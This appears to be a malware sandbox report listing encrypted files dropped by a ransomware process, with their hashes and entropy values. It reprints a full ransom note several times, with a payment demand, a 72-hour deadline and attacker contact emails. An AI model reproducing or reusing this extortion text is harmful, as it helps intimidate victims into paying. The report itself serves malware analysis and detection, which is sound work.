                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.83774889006144
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yrujB+hs/BvfTd9HbF7ao4/89WxxVlmh3HeyzR9JTh5gjBLtYzBLD:MujomZnbHZa8Eeh3+Ev5yB5YzBLD
                                                                                                                                                                MD5:943FB26BF350B110A5F9E116634F82F8
                                                                                                                                                                SHA1:E4157BC674A1727512E7DD588998323DF9CBF925
                                                                                                                                                                SHA-256:2D00FD56DFE1EB9EAB4BDCF93C9434EBE8A879B09A16C67FFA7CE4B674FBF754
                                                                                                                                                                SHA-512:73311B681C586137CB4E6F5D885ED64EF3A988A55FE0761B5A80137834AF6E0D3007935A87E306BBA61F0752E4565A3EBAEBC7909C218EF9DE07FCE4A8C80B26
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:D..~.SFR{..r....9..C..../..1....*%#fGWt..........Gx.O7..@4..o....z.I%,.c...Z4Y.@&..?ji#'...PG..`........<...p..&.F.L........>m.pq@.N.Y+l..hrR(..v.~..*...0..fN....m@....x.R..r,B.g......V(..../pb[....j.....[..f....5..Ln....Zn.r.O......{r.~..:NQ.=...6F.[:.rj..gwf.D^..........].\.Mc0x :..A.5O...2*..7.K....i[q.BT*. .W..oX...t.P....3u/.iB_Q.D....-.9Dm-".%.4...Gn.ylI..1..1}.M..jE.o..f\J.E.I^h#...../.2.,....9y..'f..,...R..........p..9...w.J.k....e..Q.@....?...U.s..a...'.p....(..G...2i......:..*F....m..:.^...T.k....d.H...>D...".....1r.Qc..;..'XE..x.U...6C.m.ip..%.._5....q;...W.(?T..O..:..p0...n....t....G...V..8VL..3<.]&)l.....9.{5!..n....W..~L..../.3.$...../..s.gd.`..As.p.........#.!Q.....}h....t%Z.3!8...h..)N.1..:.\O>JQ.......?..m(.o..1....D2.N.dG....-..i.B.A.Zt.,.'r..=..d..-.l2....o.....z.[...=.(.2h.M.\...+2...M[.i$.z..Ad3.Z....4Ds.<+.3.....=.....R...8|.D.......A..EL.B.d..}...OA....8...0..#!4.F.f...In.. R..^...x.K....<p......Gi.D.h...b...`....U.X
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.83774889006144
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yrujB+hs/BvfTd9HbF7ao4/89WxxVlmh3HeyzR9JTh5gjBLtYzBLD:MujomZnbHZa8Eeh3+Ev5yB5YzBLD
                                                                                                                                                                MD5:943FB26BF350B110A5F9E116634F82F8
                                                                                                                                                                SHA1:E4157BC674A1727512E7DD588998323DF9CBF925
                                                                                                                                                                SHA-256:2D00FD56DFE1EB9EAB4BDCF93C9434EBE8A879B09A16C67FFA7CE4B674FBF754
                                                                                                                                                                SHA-512:73311B681C586137CB4E6F5D885ED64EF3A988A55FE0761B5A80137834AF6E0D3007935A87E306BBA61F0752E4565A3EBAEBC7909C218EF9DE07FCE4A8C80B26
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:D..~.SFR{..r....9..C..../..1....*%#fGWt..........Gx.O7..@4..o....z.I%,.c...Z4Y.@&..?ji#'...PG..`........<...p..&.F.L........>m.pq@.N.Y+l..hrR(..v.~..*...0..fN....m@....x.R..r,B.g......V(..../pb[....j.....[..f....5..Ln....Zn.r.O......{r.~..:NQ.=...6F.[:.rj..gwf.D^..........].\.Mc0x :..A.5O...2*..7.K....i[q.BT*. .W..oX...t.P....3u/.iB_Q.D....-.9Dm-".%.4...Gn.ylI..1..1}.M..jE.o..f\J.E.I^h#...../.2.,....9y..'f..,...R..........p..9...w.J.k....e..Q.@....?...U.s..a...'.p....(..G...2i......:..*F....m..:.^...T.k....d.H...>D...".....1r.Qc..;..'XE..x.U...6C.m.ip..%.._5....q;...W.(?T..O..:..p0...n....t....G...V..8VL..3<.]&)l.....9.{5!..n....W..~L..../.3.$...../..s.gd.`..As.p.........#.!Q.....}h....t%Z.3!8...h..)N.1..:.\O>JQ.......?..m(.o..1....D2.N.dG....-..i.B.A.Zt.,.'r..=..d..-.l2....o.....z.[...=.(.2h.M.\...+2...M[.i$.z..Ad3.Z....4Ds.<+.3.....=.....R...8|.D.......A..EL.B.d..}...OA....8...0..#!4.F.f...In.. R..^...x.K....<p......Gi.D.h...b...`....U.X
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.88736503895126
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qcBH3Zu1/cqVyUsuEBqNwzmRE7FWnrtGKuiCczUuq5XYvdTdg5VIzrLLZDutb+:9aUqVyUs7wNpC7FWJGKuiJvdRIVsX9u+
                                                                                                                                                                MD5:2F3DE3378B909EBADEC8FFCDAB1283BF
                                                                                                                                                                SHA1:DFC9C93F58DD3D2897E45EA85E9A0B380794AC13
                                                                                                                                                                SHA-256:9778A006489EDCEE7E65C6264DE2E820571D8FDC901364BAEB4D149A8F2447CC
                                                                                                                                                                SHA-512:2BD657ED31225E185019C0E02C218C779E68305691BC4A47F40C887878CCE75344C3FA2971605A2BB4903AB7EA1D8DA114DAED36E7D3CF5AF18974BAA8671046
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..I.C.%.Qp[7Ks..RoO[B...?...f.#........`.Z.........$/.;.J..Y-..pxE...<_..(..X....=..T.+..~...... .z..o.#O..l...q.....n.TC..{.Qp.....bs.o.0......U\.p+.@.....1...R..S.il.1-.[3.=....,..f1.....&.Dt.?9D..s.-..$N4Y...-e.M.,.../E.[..4.....~..................b.}+.gJ."x.sN..#.7.........r.VZ.3..1.3.v...$...<zfbF..ks.k.;w....v.]V.2.=u..%.aM......."~..w%./4..h)...1`.@J........<94.........T......i......Y.....M.O...c..2.....@.m.....sQ.4l.5...b......7..Q..4.....,....?<.r.6...j{.4}.......;">.8..h..q..e._.v...s=.....T.I.W.~).B"p.k@'^.B........X.;.....w.5....nT23..p.....2.7.mJ..)..S}..i..JAU..K.8*.qE.#q&..h.b........2.L...=fd.Em.,...b..C.....H..gv.a;*.$~......v.I.!....X.L.;o.....TS. .6.PT(<.R..f4ML...2.Pp..L.d.SK.[...:$....+*.=}A...o$...W<8..xU8DW0..w..,`.(.n..pO.!.O.n...{H.......w..t.VD..N.G.#.(AX....T._O.v.]4. 8....,L..N."n..&~..-...G...........?...m..=&..q..,".8..c^F.....e..3..4.:.....V..../....g=Hs.3l5....1i..)..8'.>[L!....\g...?y....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.88736503895126
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:qcBH3Zu1/cqVyUsuEBqNwzmRE7FWnrtGKuiCczUuq5XYvdTdg5VIzrLLZDutb+:9aUqVyUs7wNpC7FWJGKuiJvdRIVsX9u+
                                                                                                                                                                MD5:2F3DE3378B909EBADEC8FFCDAB1283BF
                                                                                                                                                                SHA1:DFC9C93F58DD3D2897E45EA85E9A0B380794AC13
                                                                                                                                                                SHA-256:9778A006489EDCEE7E65C6264DE2E820571D8FDC901364BAEB4D149A8F2447CC
                                                                                                                                                                SHA-512:2BD657ED31225E185019C0E02C218C779E68305691BC4A47F40C887878CCE75344C3FA2971605A2BB4903AB7EA1D8DA114DAED36E7D3CF5AF18974BAA8671046
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..I.C.%.Qp[7Ks..RoO[B...?...f.#........`.Z.........$/.;.J..Y-..pxE...<_..(..X....=..T.+..~...... .z..o.#O..l...q.....n.TC..{.Qp.....bs.o.0......U\.p+.@.....1...R..S.il.1-.[3.=....,..f1.....&.Dt.?9D..s.-..$N4Y...-e.M.,.../E.[..4.....~..................b.}+.gJ."x.sN..#.7.........r.VZ.3..1.3.v...$...<zfbF..ks.k.;w....v.]V.2.=u..%.aM......."~..w%./4..h)...1`.@J........<94.........T......i......Y.....M.O...c..2.....@.m.....sQ.4l.5...b......7..Q..4.....,....?<.r.6...j{.4}.......;">.8..h..q..e._.v...s=.....T.I.W.~).B"p.k@'^.B........X.;.....w.5....nT23..p.....2.7.mJ..)..S}..i..JAU..K.8*.qE.#q&..h.b........2.L...=fd.Em.,...b..C.....H..gv.a;*.$~......v.I.!....X.L.;o.....TS. .6.PT(<.R..f4ML...2.Pp..L.d.SK.[...:$....+*.=}A...o$...W<8..xU8DW0..w..,`.(.n..pO.!.O.n...{H.......w..t.VD..N.G.#.(AX....T._O.v.]4. 8....,L..N."n..&~..-...G...........?...m..=&..q..,".8..c^F.....e..3..4.:.....V..../....g=Hs.3l5....1i..)..8'.>[L!....\g...?y....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.828769858875166
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:bRPERZYKjWFDCjSBvP9zVuCQRMq2Ficr1Hz385hkw:9TFDwSBnFVu/MYcrJs5hkw
                                                                                                                                                                MD5:35A4C5A70D79A2100DD1930DFAF69734
                                                                                                                                                                SHA1:7211A6BD011DEE2ED88634AED45B66218B8636E2
                                                                                                                                                                SHA-256:FB67F9FAF8EC5832221F73BA423613CDD11A0C09B925DF17ADE15AE506EE8482
                                                                                                                                                                SHA-512:80D4A35E34B2FC1C92F40E3C03415B0253001A13804B95AF1405795D26F3CCBE67B183704CFFBECE30E16D8DCF9CB4E9DC1D15A02761DBACE03EDBAC9FFB5544
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:P9L.....b........I/....T~...i?AiV.@.:..sw..M.4...I......O..n../..=....g...n.%i.....2........N.b^.oq.sE..7...+.oz...0i.?6.".z..?.._.W..$........@&w.t...;.("(...>.\.k.|..E..0U..P..P...Q.-!.G.p...1....I...+...z...g...a..F.(O..x../n..u.d....<.C.:N..h.j.b....`..f.`..x...h....g....m..0+.7.."...8l..tX..5..u..INln.[..6u..g..."..w...<.......fb...nV.rz....."O...B.).4._..m..........A...b._...~....k....b...q-.Ga(.j.....#./14~s..G..2%...z....Y2h.R.}..o..5P.Qn..P.b.j.bR.N5.K.^..x.........T..h.^.....j..T.\..J....xq..&%...W..<..(..m7......aQ.e..L...Qc\...|3.Q..}A.f.v........|...A.@f_.,.;..v.v%"/9S.Y.......\.-fUe...j'....v.D..K(..C.B.nqg......R=.._....3.FA.....aK.....7.Z0R.Z...M.N..6 b.Z...3.1.......vZ...P..1...Pe8..~\..p'....<B...H.9......D........Z>l..S..@G..f..u.@|L.(.F]0>...pI......f.?............C&`....^......*&sO.T.^P.Y8.....>..]b.e...Msx.......*....>.3j.).O...Bt}\i20'.a...L.a....-.W.dt"p..J!.. ...As....4\..i.V..yu..P."w..n.V.]..~......4B.1.Mq.F.z.%.'..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.828769858875166
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:bRPERZYKjWFDCjSBvP9zVuCQRMq2Ficr1Hz385hkw:9TFDwSBnFVu/MYcrJs5hkw
                                                                                                                                                                MD5:35A4C5A70D79A2100DD1930DFAF69734
                                                                                                                                                                SHA1:7211A6BD011DEE2ED88634AED45B66218B8636E2
                                                                                                                                                                SHA-256:FB67F9FAF8EC5832221F73BA423613CDD11A0C09B925DF17ADE15AE506EE8482
                                                                                                                                                                SHA-512:80D4A35E34B2FC1C92F40E3C03415B0253001A13804B95AF1405795D26F3CCBE67B183704CFFBECE30E16D8DCF9CB4E9DC1D15A02761DBACE03EDBAC9FFB5544
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:P9L.....b........I/....T~...i?AiV.@.:..sw..M.4...I......O..n../..=....g...n.%i.....2........N.b^.oq.sE..7...+.oz...0i.?6.".z..?.._.W..$........@&w.t...;.("(...>.\.k.|..E..0U..P..P...Q.-!.G.p...1....I...+...z...g...a..F.(O..x../n..u.d....<.C.:N..h.j.b....`..f.`..x...h....g....m..0+.7.."...8l..tX..5..u..INln.[..6u..g..."..w...<.......fb...nV.rz....."O...B.).4._..m..........A...b._...~....k....b...q-.Ga(.j.....#./14~s..G..2%...z....Y2h.R.}..o..5P.Qn..P.b.j.bR.N5.K.^..x.........T..h.^.....j..T.\..J....xq..&%...W..<..(..m7......aQ.e..L...Qc\...|3.Q..}A.f.v........|...A.@f_.,.;..v.v%"/9S.Y.......\.-fUe...j'....v.D..K(..C.B.nqg......R=.._....3.FA.....aK.....7.Z0R.Z...M.N..6 b.Z...3.1.......vZ...P..1...Pe8..~\..p'....<B...H.9......D........Z>l..S..@G..f..u.@|L.(.F]0>...pI......f.?............C&`....^......*&sO.T.^P.Y8.....>..]b.e...Msx.......*....>.3j.).O...Bt}\i20'.a...L.a....-.W.dt"p..J!.. ...As....4\..i.V..yu..P."w..n.V.]..~......4B.1.Mq.F.z.%.'..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.846989075760262
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:hnhFGkggCTqiYKQeo+tYrVNhSyvKekFfQC+Kf5Ed7m58CKq5D/2fO2:nFGa4YZ+iHbGfQ9r1OD27
                                                                                                                                                                MD5:5F2237110401C4D8F499480D391E6B94
                                                                                                                                                                SHA1:0E341B5A7E3B3498D4B9B2BFF32D77933966C33E
                                                                                                                                                                SHA-256:695B7D701C94A48F5D0C885AC6D1E1FCAF26957580911DA356871CE3112ECBFB
                                                                                                                                                                SHA-512:94FFDBF795FF3DB677D31F469F18F71D890A0E1B20404369AC36223149BC77D1065A8623FC87D9928A9B81B6D95E17DA64E43CF3B9F32F9573B793146359D148
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.9..2......XL..z..QD.q...g.?.U..K8..d:.P2.Q(.w6!.s!x/'...6......+..i\.*.]....,*. ..e..(.Z.zJ...t....@.sYW8A)i<t.#.#......J..|..9.d..r..4F.N.x+.{dhC...[....VM..m4d.#.zH6e....E,.G.dy..z..{....#.d{.K.U..-...s..6QS...e.8.#.._...-.......VE./..x.......l...O..N..;B.f ..y<...X.N.=.y.K...u)..6b.e....T......"T...@..d..C.N..|.l%*...=nr'p14..,.).v..a...9?...mX#.X.....9....(..[..!..?..v.n[Q.K.zH..L.......H..A#.".A.0U.....=..,H...$..V7..<....V.H..y{..Q.\/.R....._#..=.U2..j5....k.J.n.Uo..=.-.....J..jA.A1?P.|.B4%...p../. .........)....B.#...\...W.....l.....c..PH.\I9Z..H|G...9.no.b=.....2..,..".~(Fg&LM.+.K...^'..1..B...`R...L.0...;..G.......1..M.<X.,c.'*g*.@=B.<^...$..s..F./n1o.K.....3.......C.)#..w....'..$..#..3s..Sre.(.3.LH...&n........k1..q...#W.....[e...$S_.o.i....<.C..x..H..q.;k....J.../...S.....W.T4)...'....6".dfj.k/."H.r.I.@....}.u..'F....F......1=......?.6.t..}zW7...O^Jl5p.......V...F.MR|..:....yq.u%F.'.U.'....b..Y)..L#K?.......-.^.f{.=.%P...R.K
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.846989075760262
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:hnhFGkggCTqiYKQeo+tYrVNhSyvKekFfQC+Kf5Ed7m58CKq5D/2fO2:nFGa4YZ+iHbGfQ9r1OD27
                                                                                                                                                                MD5:5F2237110401C4D8F499480D391E6B94
                                                                                                                                                                SHA1:0E341B5A7E3B3498D4B9B2BFF32D77933966C33E
                                                                                                                                                                SHA-256:695B7D701C94A48F5D0C885AC6D1E1FCAF26957580911DA356871CE3112ECBFB
                                                                                                                                                                SHA-512:94FFDBF795FF3DB677D31F469F18F71D890A0E1B20404369AC36223149BC77D1065A8623FC87D9928A9B81B6D95E17DA64E43CF3B9F32F9573B793146359D148
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.9..2......XL..z..QD.q...g.?.U..K8..d:.P2.Q(.w6!.s!x/'...6......+..i\.*.]....,*. ..e..(.Z.zJ...t....@.sYW8A)i<t.#.#......J..|..9.d..r..4F.N.x+.{dhC...[....VM..m4d.#.zH6e....E,.G.dy..z..{....#.d{.K.U..-...s..6QS...e.8.#.._...-.......VE./..x.......l...O..N..;B.f ..y<...X.N.=.y.K...u)..6b.e....T......"T...@..d..C.N..|.l%*...=nr'p14..,.).v..a...9?...mX#.X.....9....(..[..!..?..v.n[Q.K.zH..L.......H..A#.".A.0U.....=..,H...$..V7..<....V.H..y{..Q.\/.R....._#..=.U2..j5....k.J.n.Uo..=.-.....J..jA.A1?P.|.B4%...p../. .........)....B.#...\...W.....l.....c..PH.\I9Z..H|G...9.no.b=.....2..,..".~(Fg&LM.+.K...^'..1..B...`R...L.0...;..G.......1..M.<X.,c.'*g*.@=B.<^...$..s..F./n1o.K.....3.......C.)#..w....'..$..#..3s..Sre.(.3.LH...&n........k1..q...#W.....[e...$S_.o.i....<.C..x..H..q.;k....J.../...S.....W.T4)...'....6".dfj.k/."H.r.I.@....}.u..'F....F......1=......?.6.t..}zW7...O^Jl5p.......V...F.MR|..:....yq.u%F.'.U.'....b..Y)..L#K?.......-.^.f{.=.%P...R.K
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.850666281481946
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:pkLjclRE8QTK2uhOA5V4Lhh1UjASd7Wf5HWi/vzxtS3XBzsLy4GCr:pkXclRRQT6OA5V4L1UjNd7Wf5F/vzYFM
                                                                                                                                                                MD5:EA8056770EC6D942660B75F2F5B74C09
                                                                                                                                                                SHA1:D8F8A45F977BFED36143ECBBCF13100CE1318009
                                                                                                                                                                SHA-256:840086F522344E050B6E01CB83B2F5A8AF634EEF447231B26B861365A32DC301
                                                                                                                                                                SHA-512:2043902D449495FA29B8652FB417A379EE7757A1FC58A69072989C5FAB7627517868D81D3F7B691C2D9CD7B28B44A8BB75C3D752F8CB850CB84DCB97A23ADCD1
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..G......,.~...{...Yc...v.....?...p..=}1K....(..o.h........S..j.....R.{..l.1.4q.Q.B.^.1$...U.F.X.-z...7...lF...._6.Vn...)..<.'M...v..r!*....}..{.8E<.S.a:.M..8..0J`.\.{}R.N.')a.3.O.e.4..j.[c .3F%...G<..ci.xI.....vm.|lo(.$......n..z.?..Q.>D.-......_..P2Z.xAT..F\+....?.3.:...eS......... s.I....@.|..tP...E~.._....r.[..l..4#......&hK..vg6..bC._..../.n...6.;h.E/}...x....]....E6s7-RV5'......~..W..".....$...iD+s..W.*...t....i.....%...M.....(..........\....7.@..>.?.P.w8...lH..%.J..W......^............T..f....x.L...4s...b.;.![......Fe.....@q..g..U.....(.....z.].^y.}...U.d.).5..PI.Rs.S.s'...H@...~....m$a..Ej./.Y*2...;....a.5P$KXm..mr...9....[Z...1..+[I)..D.$....yge5M...I.....F.M4...5..`sW....,i.......b>..~av"..y$..3.....^?.....W6,UP.^...ag.....K{.`.....L_....4..8F...1C...#..;E.d..TV.C...].b.sq...fE].(.!..O.....{._....1}.,B8...JWG....7F;O.....Yt..D.....7....-u........(R'..\&..t~..c...LA_..L.)xop...t~.}...A.u..VJ...(...._...,.[V..z.V4..yW\..}.As%...;"
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.850666281481946
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:pkLjclRE8QTK2uhOA5V4Lhh1UjASd7Wf5HWi/vzxtS3XBzsLy4GCr:pkXclRRQT6OA5V4L1UjNd7Wf5F/vzYFM
                                                                                                                                                                MD5:EA8056770EC6D942660B75F2F5B74C09
                                                                                                                                                                SHA1:D8F8A45F977BFED36143ECBBCF13100CE1318009
                                                                                                                                                                SHA-256:840086F522344E050B6E01CB83B2F5A8AF634EEF447231B26B861365A32DC301
                                                                                                                                                                SHA-512:2043902D449495FA29B8652FB417A379EE7757A1FC58A69072989C5FAB7627517868D81D3F7B691C2D9CD7B28B44A8BB75C3D752F8CB850CB84DCB97A23ADCD1
                                                                                                                                                                Malicious:false
